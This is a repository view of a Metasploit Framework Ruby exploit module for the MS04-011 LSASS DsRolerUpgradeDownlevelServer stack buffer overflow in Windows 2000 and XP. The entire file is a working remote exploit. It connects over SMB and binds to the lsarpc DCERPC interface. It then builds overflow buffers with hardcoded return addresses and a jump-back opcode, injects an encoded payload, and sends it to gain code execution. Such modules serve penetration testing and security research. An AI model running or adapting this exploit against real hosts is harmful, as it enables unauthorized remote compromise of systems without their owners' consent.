root / modules / exploits / windows / smb / ms04_011_lsass.rb @ master
History | View | Annotate | Download (4.5 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = GoodRanking |
| 16 |
|
| 17 |
#
|
| 18 |
# This module exploits a vulnerability in the LSASS service
|
| 19 |
#
|
| 20 |
include Msf::Exploit::Remote::DCERPC |
| 21 |
include Msf::Exploit::Remote::SMB |
| 22 |
|
| 23 |
def initialize(info = {}) |
| 24 |
super(update_info(info,
|
| 25 |
'Name' => 'Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow', |
| 26 |
'Description' => %q{ |
| 27 |
This module exploits a stack buffer overflow in the LSASS service, this vulnerability |
| 28 |
was originally found by eEye. When re-exploiting a Windows XP system, you will need |
| 29 |
need to run this module twice. DCERPC request fragmentation can be performed by setting |
| 30 |
'FragSize' parameter. |
| 31 |
},
|
| 32 |
'Author' => [ 'hdm' ], |
| 33 |
'License' => MSF_LICENSE, |
| 34 |
'Version' => '$Revision$', |
| 35 |
'References' =>
|
| 36 |
[ |
| 37 |
[ 'CVE', '2003-0533' ], |
| 38 |
[ 'OSVDB', '5248' ], |
| 39 |
[ 'BID', '10108' ], |
| 40 |
[ 'MSB', 'MS04-011' ], |
| 41 |
], |
| 42 |
'Privileged' => true, |
| 43 |
'DefaultOptions' =>
|
| 44 |
{
|
| 45 |
'EXITFUNC' => 'thread' |
| 46 |
}, |
| 47 |
'Payload' =>
|
| 48 |
{
|
| 49 |
'Space' => 1024, |
| 50 |
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", |
| 51 |
'StackAdjustment' => -3500, |
| 52 |
}, |
| 53 |
'Platform' => 'win', |
| 54 |
'Targets' =>
|
| 55 |
[ |
| 56 |
# Automatic
|
| 57 |
[ |
| 58 |
'Automatic Targetting',
|
| 59 |
{
|
| 60 |
'Rets' => [ ],
|
| 61 |
}, |
| 62 |
], |
| 63 |
# Windows 2000
|
| 64 |
[ |
| 65 |
'Windows 2000 English',
|
| 66 |
{
|
| 67 |
'Rets' => [ 0x773242e0 ], |
| 68 |
}, |
| 69 |
], |
| 70 |
# Windows XP
|
| 71 |
[ |
| 72 |
'Windows XP English',
|
| 73 |
{
|
| 74 |
'Rets' => [ 0x7449bf1a ], |
| 75 |
}, |
| 76 |
], |
| 77 |
], |
| 78 |
'DefaultTarget' => 0, |
| 79 |
'DisclosureDate' => 'Apr 13 2004')) |
| 80 |
end
|
| 81 |
|
| 82 |
def exploit |
| 83 |
|
| 84 |
connect() |
| 85 |
smb_login() |
| 86 |
|
| 87 |
handle = dcerpc_handle('3919286a-b10c-11d0-9ba8-00c04fd92ef5', '0.0', 'ncacn_np', ['\lsarpc']) |
| 88 |
print_status("Binding to #{handle}...")
|
| 89 |
dcerpc_bind(handle) |
| 90 |
print_status("Bound to #{handle}...")
|
| 91 |
|
| 92 |
print_status('Getting OS information...')
|
| 93 |
|
| 94 |
# Check the remote OS name and version
|
| 95 |
os = smb_peer_os |
| 96 |
buff = ''
|
| 97 |
case os
|
| 98 |
|
| 99 |
# Windows 2000 requires that the string be unicode formatted
|
| 100 |
# and give us a nice set of registers which point back to
|
| 101 |
# the un-unicoded data. We simply return to a nop sled that
|
| 102 |
# jumps over the return address, some trash, and into the
|
| 103 |
# final payload. Easy as pie.
|
| 104 |
when /Windows 5\.0/ |
| 105 |
str = rand_text_alphanumeric(3500)
|
| 106 |
str[2020, 4] = [targets[1]['Rets'][0]].pack('V') |
| 107 |
str[2104, payload.encoded.length ] = payload.encoded
|
| 108 |
buff = NDR.UnicodeConformantVaryingString(str)
|
| 109 |
|
| 110 |
# Windows XP is a bit different, we need to use an ascii
|
| 111 |
# buffer and a jmp esp. The esp register points to an
|
| 112 |
# eight byte segment at the end of our buffer in memory,
|
| 113 |
# we make these bytes jump back to the beginning of the
|
| 114 |
# buffer, giving us about 1936 bytes of space for a
|
| 115 |
# payload.
|
| 116 |
when /Windows 5\.1/ |
| 117 |
str = rand_text_alphanumeric(7000) + "\x00\x00" |
| 118 |
str[0, payload.encoded.length ] = payload.encoded
|
| 119 |
str[1964, 4] = [targets[2]['Rets'][0]].pack('V') |
| 120 |
str[1980, 5] = "\xe9\x3f\xf8\xff\xff" # jmp back to payload |
| 121 |
str[6998, 2] = "\x00\x00" |
| 122 |
buff = NDR.UnicodeConformantVaryingStringPreBuilt(str)
|
| 123 |
|
| 124 |
# Unsupported target
|
| 125 |
else
|
| 126 |
print_status("No target is available for #{ os }")
|
| 127 |
return
|
| 128 |
end
|
| 129 |
|
| 130 |
stub = buff + |
| 131 |
NDR.long(rand(0xFFFFFF)) + |
| 132 |
NDR.UnicodeConformantVaryingString('') + |
| 133 |
NDR.UnicodeConformantVaryingString('') + |
| 134 |
NDR.UnicodeConformantVaryingString('') + |
| 135 |
NDR.UnicodeConformantVaryingString('') + |
| 136 |
NDR.long(rand(0xFFFFFF)) + |
| 137 |
NDR.UnicodeConformantVaryingString('') + |
| 138 |
NDR.long(rand(0xFFFFFF)) + |
| 139 |
NDR.UnicodeConformantVaryingString('') + |
| 140 |
NDR.long(rand(0xFFFFFF)) + |
| 141 |
NDR.UnicodeConformantVaryingString('') + |
| 142 |
rand_text(528) +
|
| 143 |
rand_text(528) +
|
| 144 |
NDR.long(rand(0xFFFFFF)) |
| 145 |
|
| 146 |
print_status("Trying to exploit #{os}")
|
| 147 |
|
| 148 |
begin
|
| 149 |
response = dcerpc_call(9, stub)
|
| 150 |
rescue Rex::Proto::DCERPC::Exceptions::NoResponse |
| 151 |
print_status('Server did not respond, but that should be ok...')
|
| 152 |
rescue Rex::Proto::DCERPC::Exceptions::Fault |
| 153 |
case $!.fault |
| 154 |
when 0x1c010002 |
| 155 |
print_status('Server appears to have been patched')
|
| 156 |
else
|
| 157 |
print_status("Unexpected DCERPC fault 0x%.8x" % $!.fault) |
| 158 |
end
|
| 159 |
end
|
| 160 |
|
| 161 |
# Perform any required client-side payload handling
|
| 162 |
handler |
| 163 |
end
|
| 164 |
end
|